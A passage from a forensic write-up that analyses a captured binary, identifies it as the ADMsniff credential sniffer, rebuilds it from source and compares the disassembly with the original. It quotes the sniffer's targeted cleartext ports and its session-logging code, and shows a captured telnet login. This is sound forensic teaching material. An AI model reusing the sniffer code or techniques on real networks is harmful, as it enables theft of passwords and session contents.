sn.dat  3194 root    0u   CHR  136,6              8 /dev/pts/6
sn.dat  3194 root    1u   CHR  136,6              8 /dev/pts/6
sn.dat  3194 root    2u   CHR  136,6              8 /dev/pts/6
sn.dat  3194 root    3u  sock    0,0           5917 can't identify protocol
sn.dat  3194 root    4w   REG    3,7      0 1978380 /home/jac/giac/gcfa/The_l0gz
```

The binary has put the interface in promiscuous mode, as we see when we run `ifconfig` again after we kill the program the `PROMISC` flag is no longer present.

```
jac@Gazelle[521]$ ifconfig eth0
eth0      Link encap:Ethernet  HWaddr xx:xx:xx:xx:xx:xx
          inet addr:10.18.2.35  Bcast:10.18.2.255  Mask:255.255.255.0
          UP BROADCAST NOTRAILERS RUNNING MTU:1500  Metric:1
          RX packets:10741 errors:0 dropped:0 overruns:0 frame:0
          TX packets:5439 errors:0 dropped:0 overruns:0 carrier:0
          collisions:1 txqueuelen:100
          RX bytes:1473494 (1.4 Mb)  TX bytes:484154 (472.8 Kb)
          Interrupt:9 Base address:0x9000
```

Forensic Details

Now that we have the program running, we shall examine the footprints it leaves behind. The first piece of evidence we have is the network interface being placed in promiscuous mode. A program such as `ifstatus`[9] can be used in many circumstances to alert administrators or security officers when a system's network interface has been changed to promiscuous mode unexpectedly.

Next, we shall examine the file that we noted above as being opened for writing. At this point in our examination, the file, `The_l0gz`, is empty. Next, while running the target binary, we initiated a connection to the analysis system via `ssh`. The file remains 0 bytes. So, we enabled `telnet` and created a sacrificial account named `fred` with password `flintstone`. When we then connected to the system via `telnet`, we see that the file has increased in size. Apparently, the program looks for certain cleartext protocols to capture. Examining the contents of the file, we see that the username and password can be found in the log, as can the commands typed and the results returned. By taking a little time to study and understand how this program logs the sessions, harvesting username/password pairs (including possibly administrator/superuser passwords) is not too difficult. Our experiment thus far suggests that encrypting the traffic is a defense against this particular sniffer.

```
jac@Gazelle[523]$ cat The_l0gz

--=[ 10.18.2.35:23 --> 10.18.2.86:53805 ]=--
.............. ..#..'........!.."..... .....'...............Red Hat Linux
release 7.2 (Enigma)..Kernel 2.4.17-emp_2417p2i on an i686..login:
fred..Password: ...]0;fred@Gazelle:~.Gazelle:fred:fred:1 $ w.. 3:49pm
up 3:45, 7 users, load average: 0.04, 0.02, 0.00..USER TTY
FROM LOGIN@ IDLE JCPU PCPU WHAT..jac pts/0 -
12:05pm 3:44m 0.00s 0.00s /bin/cat ..jac pts/1 -
12:05pm 18.00s 0.18s 0.18s /bin/bash ..jac
pts/3 - 12:05pm 0.00s 1.07s 1.03s slogin newmozart
..jac
 pts/2 - 12:05pm 3:44m 0.04s 0.04s /bin/bash ..jac
pts/4 - 12:05pm 3:44m 0.06s 0.06s /bin/bash ..jac
pts/5 -
 12:05pm 28.00s 0.75s 0.01s script ..fred pts/7
newmozart
 3:49pm 0.00s 0.05s 0.01s w
...]0;fred@Gazelle:~.Gazelle:fred:fred:2 $ exit..logout...[H.[2J.

--=[ 10.18.2.86:53805 --> 10.18.2.35:23 ]=--
........UUUUUU.......... ..!.."..'...UUUUUU..#UUU....S......
.38400,38400....'.......XTERM.....UUU...UUUUUUUUUfUUUUUUUUUUUrUUUUUeUUUUU
UUUUUUdUUUUUUUUUUU..UUUUUUUUUUUUUUUUfUUUUUlUUUUUiUUUUUnUUUUUtUUUUUsUUUUUt
UUUUUoUUUUUnUUUUUeUUUUU..UUUUUUUUUUUUUUUUUwUUUUUUUUUUU..UUUUUUUUUUUUUUUUeU
UUUUUUUUUUxUUUUUUUUUUUiUUUUUtUUUUUUUUUU..UUUUUUUUUUUUUUUU.
```

[9] http://www.cymru.com/Tools/ifstatus-4.0.tar.gz

Let us briefly examine that IP address again. A quick check of ARIN reveals that this address range, 104.48.0.0/16, has not yet been assigned.

```
jac@Gazelle[531]$ whois -h whois.arin.net 104.48.0.0
[whois.arin.net]

OrgName:    IANA
OrgID:      IANA-2

NetRange:   96.0.0.0 - 126.255.255.255
CIDR:       96.0.0.0/4, 112.0.0.0/5, 120.0.0.0/6, 124.0.0.0/7, 126.0.0.0/8
NetName:    RESERVED-8
NetHandle:  NET-96-0-0-0-1
Parent:
NetType:    Direct Assignment
Comment:
RegDate:
Updated:    1998-11-03

TechHandle: IANA-ARIN
TechName:   Internet Corporation for Assigned Names and Number
TechPhone:  +1-310-823-9358
TechEmail:  res-ip@iana.org
```

This suggests a number of possibilities. One, that this was put in the binary as a distraction. The second possibility is that the binary was built on a network that was using address space that they did not own. Some of our customers have been known to use a similar plan to number the WAN, but things start to break down when IANA does start distributing the addresses, that previously only existed in our network, out into the cruel internet resulting in conflicts. The third possibility is that this is a red herring. Similarly, a search for port 25972 has yielded no useful data.

Program Identification

Given the hints found in the `strings` output, we did a quick search on our favorite meta-search engine, Dogpile[10], and discovered the source code for ADMsniff at http://www.freelsd.net/ADM/ADMsniff.tar.gz. We downloaded the archive onto our analysis machine and we will build it to see if we can tell if the binary we found has been altered.

```
jac@Gazelle[525]$ tar xzvf ADMsniff.tar.gz
ADMsniff/
ADMsniff/ip.h
ADMsniff/tcp.h
ADMsniff/bpf.h
ADMsniff/pcap.h
```

[10] http://www.dogpile.com

```
ADMsniff/Makefile
ADMsniff/libpcap-0.4.tar
ADMsniff/thesniff.c
ADMsniff/README
```

Examining the source file, `thesniff.c`, we note that there is a list of *cool* ports that probably explains why it took no note of our `ssh` connection earlier. It appears to only be looking for `ftp`, `telnet`, `pop2`, `pop3`, `imap`, the Berkeley r-commands, Oracle, and BackOrifice. All of these are protocols that (can) send passwords in the clear, or do not require a password at all.

```
u_short coolport[] =
{21, 23, 109, 110, 143, 512, 513, 514, 1521, 31337};
```

Next, we shall actually compile the source that we have downloaded. We first run `gcc -v` to note the version of the compiler we are running (which conveniently appears to be the same version used on our target binary).

```
jac@Gazelle[526]$ gcc -v
Reading specs from /usr/lib/gcc-lib/i386-redhat-linux/2.96/specs
gcc version 2.96 20000731 (Red Hat Linux 7.1 2.96-98)
jac@Gazelle[527]$ cd ADMsniff
jac@Gazelle[528]$ make
..ooOO ADMsniff private 1.0 beta 0 OOoo..
libpcap-0.4/CHANGES
libpcap-0.4/FILES
libpcap-0.4/INSTALL
libpcap-0.4/Makefile.in
libpcap-0.4/README

…

ar rc libpcap.a pcap-linux.o pcap.o inet.o gencode.o optimize.o
nametoaddr.o etherent.o savefile.o bpf_filter.o bpf_image.o scanner.o
grammar.o version.o
ranlib libpcap.a
make[1]: Leaving directory `/home/jac/giac/gcfa/source/ADMsniff/libpcap-
0.4'
compiling ADMsniff...
gcc -I. -L.   thesniff.c  -lpcap -lz  -o ./ADMsniff-1
Done!
```

We have cut out some of the extraneous stuff above. Typing `make` caused source for `libpcap` to be untarred, configured, and built, ending with the creation of the `libpcap.a` library archive above. Then, `thesniff.c` was compiled and linked with `libpcap.a` and `libz` (we shall return to this briefly below) creating the binary named `ADMsniff-1`. We now examine the binary created to see if it matches our mystery binary.

```
jac@Gazelle[529]$ md5sum ADMsniff-1
07210c66577d70b2d604e6b48ee498dd  ADMsniff-1
```

```
jac@Gazelle[530]$ ls -l ADMsniff-1
-rwxrwxr-x    1 jac      jac         37632 May  2 19:12 ADMsniff-1
jac@Gazelle[531]$ file ADMsniff-1
ADMsniff-1:  ELF  32-bit  LSB  executable,  Intel  80386,  version  1,
dynamically linked (uses shared libs), not stripped
jac@Gazelle[531]$ ldd ADMsniff-1
        libz.so.1 => /usr/lib/libz.so.1 (0x40032000)
        libc.so.6 => /lib/libc.so.6 (0x40040000)
        /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
```

We obviously made a mistake here, the binary we built is not statically linked, is much smaller, and does not match the MD5 hash of our target. We will edit the `Makefile` to have it build a statically linked binary and try again. To do this, we add `-static` to the `CFLAGS` line in the `Makefile`, then delete `ADMsniff-1`, and run `make` again. After doing this we see the following.

```
jac@Gazelle[517]$ ls -l ADMsniff-1
-rwxrwxr-x    1 jac      jac       1729316 May  2 19:29 ADMsniff-1
jac@Gazelle[518]$ file ADMsniff-1
ADMsniff-1: ELF 32-bit LSB executable, Intel 80386, version 1, statically
linked, not stripped
```

We are closer, but the file is now too big and not stripped. We will take care of that next, but we will save this version of the executable, it will be useful in our analysis.

```
jac@Gazelle[523]$ cp ADMsniff-1 ADMsniff-1.save
jac@Gazelle[524]$ strip ADMsniff-1
jac@Gazelle[525]$ ls -l ADMsniff-1
-rwxrwxr-x    1 jac      jac        400924 May  2 19:38 ADMsniff-1
jac@Gazelle[526]$ file ADMsniff-1
ADMsniff-1: ELF 32-bit LSB executable, Intel 80386, version 1, statically
linked, stripped
jac@Gazelle[527]$ md5sum ADMsniff-1
b96d11ca7f3f0008e9708aa92a3ef155  ADMsniff-1
```

This binary is much closer in size, it is only 1900 bytes larger than our target binary. Since the sizes are different, obviously, the MD5 hashes will differ, but we include it here for completeness. Does this mean that we have the wrong source? Not necessarily. Clearly, we have not exactly duplicated the conditions under which the original binary was built, but the differences could simply be some of the other libraries that were statically linked into the final binary. We still have some additional analysis we can do. The original binary was stripped, either to reduce the size of the binary, hide information by removing the symbol table, or, perhaps, both. The information in the symbol table would be extremely useful to us if we could recreate it. Fortunately, we can restore at least part of it. During the Honeynet Project's Reverse Challenge[11] in May of 2002, there were several postings to various mailing lists that mentioned tools that might be of assistance to participants. One of those mentioned was a tool called `fenris`, available from

[11] http://projects.honeynet.org/reverse/

Bindview[12]. Fenris is written and maintained by Michal Zalewski[13], who has links to other similar tools on his own website[14]. Included with the `fenris` (we used version 0.03b which was current when we began this analysis, there have been several updates since then), is a utility called `dress` which is intended as the opposite of `strip(1)` that can restore at least part of the symbol table. This is accomplished by looking for library routines in a stripped binary, comparing hashes calculated from the object code with those in a database built from several versions of standard libraries and, based on matches, determining the name of the library routine. The package also includes instructions on adding new signatures to the database, so we added signatures from the libraries on our analysis system before taking the further steps below. In a previous life, we wrote commercial C compilers, so for determining functional equivalence, our first inclination is to disassemble and look at the generated code. To do that here, we are going to run `dress` on the target binary and then disassemble both it and the version of ADMsniff that we have compiled and saved above to see if where the differences lie. Our guess, at this point, is that that the differences in size (and signature) are due to our analysis system having different (probably newer) libraries than the machine on which our target binary was built.

```
jac@Gazelle[548]$ dress sn.dat sn.dat.dress
dress - stripped static binary recovery tool by <lcamtuf@coredump.cx>
[+] Loaded 59411 fingerprints...
[+] Code section at 0x080480e0 - 0x08090160, offset 224 in the file.
[*] For your initial breakpoint, use *0x80480e0
[+] Locating CALLs... 417 found.
[+] Matching fingerprints...
[*] Writing new ELF file:
[+] Cloning general ELF data...
[+] Setting up sections: .init .text .fini .rodata .data .eh_frame .ctors
.dtors .got .sbss .bss .comment .note.ABI-tag .note
[+] Preparing new symbol tables...
[+]  Copying all sections: .init .text .fini .rodata .data .eh_frame
.ctors .dtors .got .sbss .bss .comment .note.ABI-tag .note
[+] All set. Detected fingerprints for 342 of 417 functions.
jac@Gazelle[549]$ objdump -xD sn.dat.dress > sn.dat.dress.objdump
jac@Gazelle[550]$ objdump -xD ADMsniff-1.save > ADMsniff-1.objdump
```

Examination of `thesniff.c` shows us that it contains the following routines: myinet_ntoa, goodstr, flushstruct, dumpstruct, newstruct, Log, and main. If compiled with `-DCOMPRESS`, it will also have the routines hup_handler and term_handler. The target version, however, appears *not* to have been compiled with the COMPRESS flag, because if it had been, it would have printed two additional lines when it was executed (see below), so we will limit our examination to the seven routines listed above. This suggests that libz above is not actually linked in.

[12] http://razor.bindview.com/tools/fenris/
[13] lcamtuf@bos.bindview.com
[14] http://lcamtuf.coredump.cx/fenris/other.txt

```
  printf ("ADMsniff %s  in libpcap we trust !\n", VERSION);
  printf ("credits: ADM, mel , ^pretty^ for the mail she sent me\n");
#ifdef COMPRESS
  printf ("You compiled ADMsniff with compression support, don't\n");
  printf ("forget about the log flushing tricks (see README).\n\n");
#endif
```

The following comparison was actually performed using `sdiff(1)` on a 150 column xterm. That format, however, does not transfer to paper too well, so in the analysis that follows we will first show the source code from the archive we downloaded. Then we will show the disassembled object code. For the first (two) routine(s) we examine, we will show both versions (the disassembled object code for the unstripped binary we built above and then the equivalent section for the dressed version of the target binary) and thereafter we will show the excerpt only from our unstripped binary and highlight (and explain) any differences between it and the dressed version of the target binary. We chose the dressed version rather than the original to save ourselves the effort of running down some of the library routines if `dress` is able to determine which library routine it was. The only differences between the dressed and stripped versions for the routines in question are the names of the routines between the <>s. We have also gotten a great deal of useful information in other investigations using the Reverse Engineering Compiler from Backer Street Software[15], but we will stick with examining the disassembled machine code for this examination.

Let us begin our examination with the `myinet_ntoa` routine. We note that this is a very simple routine, and therefore generates relatively little object code. Unfortunately, some of the routines that we examine later will be larger and result in more generated code.

```
char *
myinet_ntoa (u_long theipofthedeath)
{
  struct in_addr in;
  in.s_addr = theipofthedeath;
  return (inet_ntoa (in));
}
```

Here we see the routine from the unstripped version we built earlier.

```
080481e0 <myinet_ntoa>:
 80481e0:       55                      push   %ebp
 80481e1:       89 e5                   mov    %esp,%ebp
 80481e3:       83 ec 08                sub    $0x8,%esp
 80481e6:       8b 45 08                mov    0x8(%ebp),%eax
 80481e9:       89 45 fc                mov    %eax,0xfffffffc(%ebp)
 80481ec:       83 ec 0c                sub    $0xc,%esp
```

[15] http://www.backerstreet.com/rec/rec.htm

```
 80481ef:       ff 75 fc                pushl  0xfffffffc(%ebp)
 80481f2:       e8 39 bb 00 00          call   8053d30 <inet_ntoa>
 80481f7:       83 c4 10                add    $0x10,%esp
 80481fa:       89 c0                   mov    %eax,%eax
 80481fc:       89 c0                   mov    %eax,%eax
 80481fe:       c9                      leave
 80481ff:       c3                      ret
```

Now, we examine the same routine from our dressed version of the mystery binary.

```
 80481e0:       55                      push   %ebp
 80481e1:       89 e5                   mov    %esp,%ebp
 80481e3:       83 ec 08                sub    $0x8,%esp
 80481e6:       8b 45 08                mov    0x8(%ebp),%eax
 80481e9:       89 45 fc                mov    %eax,0xfffffffc(%ebp)
 80481ec:       83 ec 0c                sub    $0xc,%esp
 80481ef:       ff 75 fc                pushl  0xfffffffc(%ebp)
 80481f2:       e8 29 bb 00 00          call   8053d20 <socket+0x30>
 80481f7:       83 c4 10                add    $0x10,%esp
 80481fa:       89 c0                   mov    %eax,%eax
 80481fc:       89 c0                   mov    %eax,%eax
 80481fe:       c9                      leave
 80481ff:       c3                      ret
```

We see, the only differences in the routines are the address of the call. So, we will examine this and see if those are, in fact, the same library call. Notice that `dress` could not determine the name of the library routine and came up with just `socket+0x30`. This is not necessarily significant. We also note that the addresses of the called routine differ between the two binaries by 0x10, this will turn out to be a recurring theme. Since the names do not match, we will examine the called library routine to see if they are, in fact, the same routine. In cases where dress determined the routine name to be the same, we will skip this step. Again, we first look at the unstripped binary that we built and then compare it with the dressed version.

```
08053d30 <inet_ntoa>:
 8053d30:       55                      push   %ebp
 8053d31:       b8 00 00 00 00          mov    $0x0,%eax
 8053d36:       89 e5                   mov    %esp,%ebp
 8053d38:       53                      push   %ebx
 8053d39:       85 c0                   test   %eax,%eax
 8053d3b:       51                      push   %ecx
 8053d3c:       0f 84 ae 00 00 00       je     8053df0 <inet_ntoa+0xc0>
 8053d42:       83 ec 08                sub    $0x8,%esp
 8053d45:       68 14 3e 05 08          push   $0x8053e14
 8053d4a:       68 78 6f 0a 08          push   $0x80a6f78
 8053d4f:       e8 ac c2 fa f7          call   0 <_init-0x80480b4>
 8053d54:       83 c4 10                add    $0x10,%esp
 8053d57:       a1 94 6f 0a 08          mov    0x80a6f94,%eax
 8053d5c:       85 c0                   test   %eax,%eax
 8053d5e:       74 30                   je     8053d90 <inet_ntoa+0x60>
```

```
8053d60:       89 c3                    mov    %eax,%ebx
8053d62:       50                       push   %eax
8053d63:       0f b6 45 0b              movzbl 0xb(%ebp),%eax
8053d67:       50                       push   %eax
8053d68:       0f b6 45 0a              movzbl 0xa(%ebp),%eax
8053d6c:       50                       push   %eax
8053d6d:       0f b6 45 09              movzbl 0x9(%ebp),%eax
8053d71:       50                       push   %eax
8053d72:       0f b6 45 08              movzbl 0x8(%ebp),%eax
8053d76:       50                       push   %eax
8053d77:       68 28 05 0a 08           push   $0x80a0528
8053d7c:       6a 12                    push   $0x12
8053d7e:       53                       push   %ebx
8053d7f:       e8 54 97 01 00           call   806d4d8 <__snprintf>
8053d84:       83 c4 20                 add    $0x20,%esp
8053d87:       89 d8                    mov    %ebx,%eax
8053d89:       8b 5d fc                 mov    0xfffffffc(%ebp),%ebx
8053d8c:       c9                       leave
8053d8d:       c3                       ret
8053d8e:       89 f6                    mov    %esi,%esi
8053d90:       b8 00 00 00 00           mov    $0x0,%eax
8053d95:       85 c0                    test   %eax,%eax
8053d97:       74 53                    je     8053dec <inet_ntoa+0xbc>
8053d99:       83 ec 0c                 sub    $0xc,%esp
8053d9c:       ff 35 7c 6f 0a 08        pushl  0x80a6f7c
8053da2:       e8 59 c2 fa f7           call   0 <_init-0x80480b4>
8053da7:       83 c4 10                 add    $0x10,%esp
8053daa:       89 c3                    mov    %eax,%ebx
8053dac:       85 db                    test   %ebx,%ebx
8053dae:       75 b2                    jne    8053d62 <inet_ntoa+0x32>
8053db0:       83 ec 0c                 sub    $0xc,%esp
8053db3:       6a 12                    push   $0x12
8053db5:       e8 ca b4 ff ff           call   804f284 <__libc_malloc>
8053dba:       89 c3                    mov    %eax,%ebx
8053dbc:       83 c4 10                 add    $0x10,%esp
8053dbf:       85 db                    test   %ebx,%ebx
8053dc1:       74 1d                    je     8053de0 <inet_ntoa+0xb0>
8053dc3:       b8 00 00 00 00           mov    $0x0,%eax
8053dc8:       85 c0                    test   %eax,%eax
8053dca:       74 96                    je     8053d62 <inet_ntoa+0x32>
8053dcc:       83 ec 08                 sub    $0x8,%esp
8053dcf:       53                       push   %ebx
8053dd0:       ff 35 7c 6f 0a 08        pushl  0x80a6f7c
8053dd6:       e8 25 c2 fa f7           call   0 <_init-0x80480b4>
8053ddb:       83 c4 10                 add    $0x10,%esp
8053dde:       eb 82                    jmp    8053d62 <inet_ntoa+0x32>
8053de0:       bb 80 6f 0a 08           mov    $0x80a6f80,%ebx
8053de5:       e9 78 ff ff ff           jmp    8053d62 <inet_ntoa+0x32>
8053dea:       89 f6                    mov    %esi,%esi
8053dec:       31 db                    xor    %ebx,%ebx
8053dee:       eb bc                    jmp    8053dac <inet_ntoa+0x7c>
8053df0:       8b 15 78 6f 0a 08        mov    0x80a6f78,%edx
8053df6:       85 d2                    test   %edx,%edx
8053df8:       0f 85 59 ff ff ff        jne    8053d57 <inet_ntoa+0x27>
8053dfe:       e8 11 00 00 00           call   8053e14 <init>
8053e03:       c7 05 78 6f 0a 08 01     movl   $0x1,0x80a6f78
8053e0a:       00 00 00
```

```
 8053e0d:       e9 45 ff ff ff          jmp    8053d57 <inet_ntoa+0x27>
 8053e12:       89 f6                   mov    %esi,%esi
```

The address of the routine differs between the two files by 0x10 (16 decimal). This is important because the addresses in all of the `jmp` and `call` instructions differ by the same amount except for the call to `snprintf`, but `dress` has determined that those routines are the same, so we will not pursue that any further other than to note that the addresses of the `snprintf` routines differ by 0x60 (96 decimal). Also, we note the `pushl` instruction at the beginning of the routine where we have italicized the address. That address is the address of the next routine (identified as `init` in our unstripped binary) and this address also differs between the two by 0x10. Next, note the address in italics at offset 0x8053d77 (0x80a0528). The corresponding address from the target binary is 0x809fe48, which is an argument passed to the `snprintf` call just below. These addresses are in the initialized portion of memory and in both cases the address pointed to contains the data 0x25642e25. Since the values are identical, we conclude that they are pointing to the same initialized variables, we conclude that they are pointing to the same format strings. We will see this pattern repeated with all of the `snprintf` calls. That leaves those addresses highlighted in bold in the listing above. The highlighted addresses differ between the two versions by 0x06c0 (1728 decimal). These addresses are the addresses of memory locations used for local variables in this routine. The addresses are consistent between the two executables. That is, everywhere that 0x80a6f78, for example, appears in the unstripped binary, 0x80a68b8 appears in the dressed binary (see the table below, rather than waste two pages to reproduce the entire routine again, we will just show the address from the unstripped binary we built and the corresponding address from the dressed version of the target binary). Since this is all uninitialized memory, we again assume that the differences are related to different version of other library routines between our analysis system and the one where the target binary was built. We therefore conclude that the routine called by `myinet_ntoa` is the same library routine (`inet_ntoa`) in both versions.

Address from our binary	Address from target binary
0x80a6f78	0x80a68b8
0x80a6f94	0x80a68d4
0x80a6f7c	0x80a68bc
0x80a6f80	0x80a68c0

Next, we examine the routine `goodstr`.

```
void
goodstr (char *src, char *dst, int size)
{
  int i;
  for (i = 0; i < size; i++)

    if (isprint (src[i]))
      dst[i] = src[i];
```

```
    else if (dst[i] == '\r' || dst[i] == '\n')
      dst[i] = '\n';
    else
      dst[i] = '.';
}
```

The corresponding code from our unstripped binary is shown below.

```
08048200 <goodstr>:
 8048200:       55                      push   %ebp
 8048201:       89 e5                   mov    %esp,%ebp
 8048203:       83 ec 04                sub    $0x4,%esp
 8048206:       90                      nop
 8048207:       c7 45 fc 00 00 00 00    movl   $0x0,0xfffffffc(%ebp)
 804820e:       89 f6                   mov    %esi,%esi
 8048210:       8b 45 fc                mov    0xfffffffc(%ebp),%eax
 8048213:       3b 45 10                cmp    0x10(%ebp),%eax
 8048216:       7c 04                   jl     804821c <goodstr+0x1c>
 8048218:       eb 6a                   jmp    8048284 <goodstr+0x84>
 804821a:       89 f6                   mov    %esi,%esi
 804821c:       8b 45 fc                mov    0xfffffffc(%ebp),%eax
 804821f:       03 45 08                add    0x8(%ebp),%eax
 8048222:       0f be 00                movsbl (%eax),%eax
 8048225:       6b d0 02                imul   $0x2,%eax,%edx
 8048228:       a1 c0 44 0a 08          mov    0x80a44c0,%eax
 804822d:       66 8b 04 10             mov    (%eax,%edx,1),%ax
 8048231:       25 00 40 00 00          and    $0x4000,%eax
 8048236:       66 85 c0                test   %ax,%ax
 8048239:       74 15                   je     8048250 <goodstr+0x50>
 804823b:       8b 45 fc                mov    0xfffffffc(%ebp),%eax
 804823e:       8b 55 0c                mov    0xc(%ebp),%edx
 8048241:       01 c2                   add    %eax,%edx
 8048243:       8b 45 fc                mov    0xfffffffc(%ebp),%eax
 8048246:       03 45 08                add    0x8(%ebp),%eax
 8048249:       8a 00                   mov    (%eax),%al
 804824b:       88 02                   mov    %al,(%edx)
 804824d:       eb 2e                   jmp    804827d <goodstr+0x7d>
 804824f:       90                      nop
 8048250:       8b 45 fc                mov    0xfffffffc(%ebp),%eax
 8048253:       03 45 0c                add    0xc(%ebp),%eax
 8048256:       80 38 0d                cmpb   $0xd,(%eax)
 8048259:       74 0d                   je     8048268 <goodstr+0x68>
 804825b:       8b 45 fc                mov    0xfffffffc(%ebp),%eax
 804825e:       03 45 0c                add    0xc(%ebp),%eax
 8048261:       80 38 0a                cmpb   $0xa,(%eax)
 8048264:       74 02                   je     8048268 <goodstr+0x68>
 8048266:       eb 0c                   jmp    8048274 <goodstr+0x74>
 8048268:       8b 45 fc                mov    0xfffffffc(%ebp),%eax
 804826b:       03 45 0c                add    0xc(%ebp),%eax
 804826e:       c6 00 0a                movb   $0xa,(%eax)
 8048271:       eb 0a                   jmp    804827d <goodstr+0x7d>
 8048273:       90                      nop
 8048274:       8b 45 fc                mov    0xfffffffc(%ebp),%eax
 8048277:       03 45 0c                add    0xc(%ebp),%eax
 804827a:       c6 00 2e                movb   $0x2e,(%eax)
 804827d:       8d 45 fc                lea    0xfffffffc(%ebp),%eax
```

```
 8048280:       ff 00                    incl   (%eax)
 8048282:       eb 8c                    jmp    8048210 <goodstr+0x10>
 8048284:       c9                       leave
 8048285:       c3                       ret
 8048286:       89 f6                    mov    %esi,%esi
```

This routine is actually identical between the two (the jump target addresses are the same, though the labels within the <>s are different), so we will not waste anymore time analyzing this routine. Next, we move to `flushstruct`.

```
Int flushstruct (int i, char add)
{
  if (add != 1)
    if (theipz[i]->flags != N0L0G)
      if ((theipz[i]->time + 7000) > time (NULL))
        if (strlen (theipz[i]->data) > 4011)
          {
              fprintf (filez, "\n--=[ %s:%i --> ", myinet_ntoa (theipz[i]->sip),
ntohs (theipz[i]->sport));
              fprintf (filez, "%s:%i ]=--\n", myinet_ntoa (theipz[i]->dip),
ntohs(theipz[i]->dport));
                  fwrite (theipz[i]->data, strlen (theipz[i]->data), 1, filez);
                  fflush(filez);
            theipz[i]->flags = N0L0G;
            return (0);
          }
  if ((theipz[i]->time + 7000) < time (NULL) || add == 1)
    {
      if (theipz[i]->flags != N0L0G)
        {
          fprintf (filez, "\n--=[ %s:%i --> ", myinet_ntoa (theipz[i]->sip),
ntohs (theipz[i]->sport));
          fprintf (filez, "%s:%i ]=--\n", myinet_ntoa (theipz[i]->dip), ntohs
(theipz[i]->dport));
          fwrite (theipz[i]->data, strlen (theipz[i]->data), 1, filez);
          fprintf (filez, ".\n");
          fflush(filez);
          theipz[i]->flags = N0L0G;
        }
      free (theipz[i]);
      theipz[i] = NULL;
      return (0);
    }
  return (0);
}
```

We have taken a few liberties in the presentation of the code above. We have removed the `#ifndef`'s and only included the code that was actually compiled into our version of the binary since we did not enable compression. We have also eliminated some blank lines to get it all to fit together in less space. The code generated for this routine is shown below.

```
08048288 <flushstruct>:
```

```
8048288:       55                      push   %ebp
8048289:       89 e5                   mov    %esp,%ebp
804828b:       53                      push   %ebx
804828c:       83 ec 04                sub    $0x4,%esp
804828f:       8b 45 0c                mov    0xc(%ebp),%eax
8048292:       88 45 fb                mov    %al,0xfffffffb(%ebp)
8048295:       80 7d fb 01             cmpb   $0x1,0xfffffffb(%ebp)
8048299:       0f 84 d5 01 00 00       je     8048474 <flushstruct+0x1ec>
804829f:       8b 45 08                mov    0x8(%ebp),%eax
80482a2:       89 c0                   mov    %eax,%eax
80482a4:       8d 14 85 00 00 00 00    lea    0x0(,%eax,4),%edx
80482ab:       b8 00 77 0a 08          mov    $0x80a7700,%eax
80482b0:       8b 04 02                mov    (%edx,%eax,1),%eax
80482b3:       80 b8 c0 0f 00 00 03    cmpb   $0x3,0xfc0(%eax)
80482ba:       0f 84 b4 01 00 00       je     8048474 <flushstruct+0x1ec>
80482c0:       8b 45 08                mov    0x8(%ebp),%eax
80482c3:       89 c0                   mov    %eax,%eax
80482c5:       8d 14 85 00 00 00 00    lea    0x0(,%eax,4),%edx
80482cc:       b8 00 77 0a 08          mov    $0x80a7700,%eax
80482d1:       8b 04 02                mov    (%edx,%eax,1),%eax
80482d4:       8b 58 0c                mov    0xc(%eax),%ebx
80482d7:       81 c3 58 1b 00 00       add    $0x1b58,%ebx
80482dd:       83 ec 0c                sub    $0xc,%esp
80482e0:       6a 00                   push   $0x0
80482e2:       e8 59 b3 00 00          call   8053640 <time>
80482e7:       83 c4 10                add    $0x10,%esp
80482ea:       89 c0                   mov    %eax,%eax
80482ec:       39 c3                   cmp    %eax,%ebx
80482ee:       0f 86 80 01 00 00       jbe    8048474 <flushstruct+0x1ec>
80482f4:       8b 45 08                mov    0x8(%ebp),%eax
80482f7:       89 c0                   mov    %eax,%eax
80482f9:       8d 14 85 00 00 00 00    lea    0x0(,%eax,4),%edx
8048300:       b8 00 77 0a 08          mov    $0x80a7700,%eax
8048305:       8b 04 02                mov    (%edx,%eax,1),%eax
8048308:       83 c0 10                add    $0x10,%eax
804830b:       83 ec 0c                sub    $0xc,%esp
804830e:       50                      push   %eax
804830f:       e8 48 ad 00 00          call   805305c <strlen>
8048314:       83 c4 10                add    $0x10,%esp
8048317:       89 c0                   mov    %eax,%eax
8048319:       89 c0                   mov    %eax,%eax
804831b:       3d ab 0f 00 00          cmp    $0xfab,%eax
8048320:       0f 86 4e 01 00 00       jbe    8048474 <flushstruct+0x1ec>
8048326:       8b 45 08                mov    0x8(%ebp),%eax
8048329:       89 c0                   mov    %eax,%eax
804832b:       8d 14 85 00 00 00 00    lea    0x0(,%eax,4),%edx
8048332:       b8 00 77 0a 08          mov    $0x80a7700,%eax
8048337:       8b 04 02                mov    (%edx,%eax,1),%eax
804833a:       0f b7 40 08             movzwl 0x8(%eax),%eax
804833e:       83 ec 0c                sub    $0xc,%esp
8048341:       50                      push   %eax
8048342:       e8 d9 b9 00 00          call   8053d20 <htons>
8048347:       83 c4 10                add    $0x10,%esp
804834a:       89 c0                   mov    %eax,%eax
804834c:       89 c0                   mov    %eax,%eax
804834e:       0f b7 c0                movzwl %ax,%eax
8048351:       50                      push   %eax
```

```
8048352:       83 ec 08                sub    $0x8,%esp
8048355:       8b 45 08                mov    0x8(%ebp),%eax
8048358:       89 c0                   mov    %eax,%eax
804835a:       8d 14 85 00 00 00 00    lea    0x0(,%eax,4),%edx
8048361:       b8 00 77 0a 08          mov    $0x80a7700,%eax
8048366:       8b 04 02                mov    (%edx,%eax,1),%eax
8048369:       ff 30                   pushl  (%eax)
804836b:       e8 70 fe ff ff          call   80481e0 <myinet_ntoa>
8048370:       83 c4 0c                add    $0xc,%esp
8048373:       89 c0                   mov    %eax,%eax
8048375:       50                      push   %eax
8048376:       68 80 08 09 08          push   $0x8090880
804837b:       ff 35 b4 b5 0a 08       pushl  0x80ab5b4
8048381:       e8 1e 24 00 00          call   804a7a4 <fprintf>
8048386:       83 c4 10                add    $0x10,%esp
8048389:       8b 45 08                mov    0x8(%ebp),%eax
804838c:       89 c0                   mov    %eax,%eax
804838e:       8d 14 85 00 00 00 00    lea    0x0(,%eax,4),%edx
8048395:       b8 00 77 0a 08          mov    $0x80a7700,%eax
804839a:       8b 04 02                mov    (%edx,%eax,1),%eax
804839d:       0f b7 40 0a             movzwl 0xa(%eax),%eax
80483a1:       83 ec 0c                sub    $0xc,%esp
80483a4:       50                      push   %eax
80483a5:       e8 76 b9 00 00          call   8053d20 <htons>
80483aa:       83 c4 10                add    $0x10,%esp
80483ad:       89 c0                   mov    %eax,%eax
80483af:       89 c0                   mov    %eax,%eax
80483b1:       0f b7 c0                movzwl %ax,%eax
80483b4:       50                      push   %eax
80483b5:       83 ec 08                sub    $0x8,%esp
